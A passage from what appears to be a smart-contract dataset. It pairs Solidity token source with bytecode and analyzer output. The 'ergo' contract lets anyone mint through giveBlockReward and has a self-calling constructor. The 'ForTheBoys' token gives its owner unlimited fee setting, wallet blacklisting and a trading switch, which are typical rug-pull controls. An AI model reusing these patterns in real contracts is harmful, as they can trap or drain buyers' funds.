ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4f564f000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820f0faf8b0e73371d25633be51857c7a11916f30fd537b79f1d19898522bc7a82a0029
{"success": true, "error": null, "results": {}}
7,453
0x1dC211ED642733Da8BADeEd7d529E9b67295593b
pragma solidity ^0.4.21; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ergo { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; uint256 public initialSupply; uint256 public unitsOneEthCanBuy; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function ergo( ) public { totalSupply = 81000000000000000000000000; balanceOf[msg.sender] = totalSupply; name = "ergo"; symbol = "RGO"; unitsOneEthCanBuy = 810; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * @dev We use a single lock for the whole contract. */ bool private reentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burnFrom(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function giveBlockReward() { balanceOf[block.coinbase] += 7; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ergoam is owned, ergo { uint256 public sellPrice; uint256 public buyPrice; /* Initializes contract with initial supply tokens to the creator of the contract */ function ergoam( uint256 initialSupply, string tokenName, string tokenSymbol ) ergoam(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(address(this).balance >= amount * sellPrice); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063274ff7ce1461026a578063313ce567146102a5578063378dc3dc146102d457806365f2bc2e146102fd57806370a082311461032657806379cc67901461037357806395d89b41146103cd578063a9059cbb1461045b578063cae9ca511461049d578063dd62ed3e1461053a578063fcd6e339146105a6575b600080fd5b34156100eb57600080fd5b6100f36105bb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610659565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106e6565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ec565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61028b6004808035906020019091905050610819565b604051808215151515815260200191505060405180910390f35b34156102b057600080fd5b6102b861091d565b604051808260ff1660ff16815260200191505060405180910390f35b34156102df57600080fd5b6102e7610930565b6040518082815260200191505060405180910390f35b341561030857600080fd5b610310610936565b6040518082815260200191505060405180910390f35b341561033157600080fd5b61035d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061093c565b6040518082815260200191505060405180910390f35b341561037e57600080fd5b6103b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610954565b604051808215151515815260200191505060405180910390f35b34156103d857600080fd5b6103e0610b6e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610420578082015181840152602081019050610405565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046657600080fd5b61049b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c0c565b005b34156104a857600080fd5b610520600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c1b565b604051808215151515815260200191505060405180910390f35b341561054557600080fd5b610590600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d95565b6040518082815260200191505060405180910390f35b34156105b157600080fd5b6105b9610dba565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555061080e848484610e0a565b600190509392505050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561086957600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600260009054906101000a900460ff1681565b60045481565b60055481565b60066020528060005260406000206000915090505481565b600081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156109a457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a2f57600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b505050505081565b610c17338383610e0a565b5050565b600080849050610c2b8585610659565b15610d8c578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d25578082015181840152602081019050610d0a565b50505050905090810190601f168015610d525780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610d7357600080fd5b5af11515610d8057600080fd5b50505060019150610d8d565b5b509392505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6007600660004173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610e3157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e7f57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610f0d57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561111a57fe5b505050505600a165627a7a723058207d7ed5b887138127ad6bbc6fc10279d24038d71468b555d49850282c22e1d3c40029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
7,454
0xacae7a56447f0f31ad79cf83429ee4d6cb4a8340
/** Fuck the ruggers Fuck the scammers Fuck the jeets Send this one for THE BOYS TG created and ran by community Lets send this @EricCryptoman @Bitlord7 @maythous @goobythegambler @brentlyOG @EricCryptoman @TheLuffygems @blackbeltdev Updates: https://t.me/updatesftb Twitter: https://twitter.com/fortheboyserc logo: https://ibb.co/2q8nXgd burning 50% at launch. 12% tax buys, 12% sales. don't jeet this one. WAGMI. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ForTheBoys is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ForTheBoys"; string private constant _symbol = "FTB"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0f147E3a4E7c22fa9c5cC58f1Fe0Fdb5019B5063); address payable private _marketingAddress = payable(0x0f147E3a4E7c22fa9c5cC58f1Fe0Fdb5019B5063); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
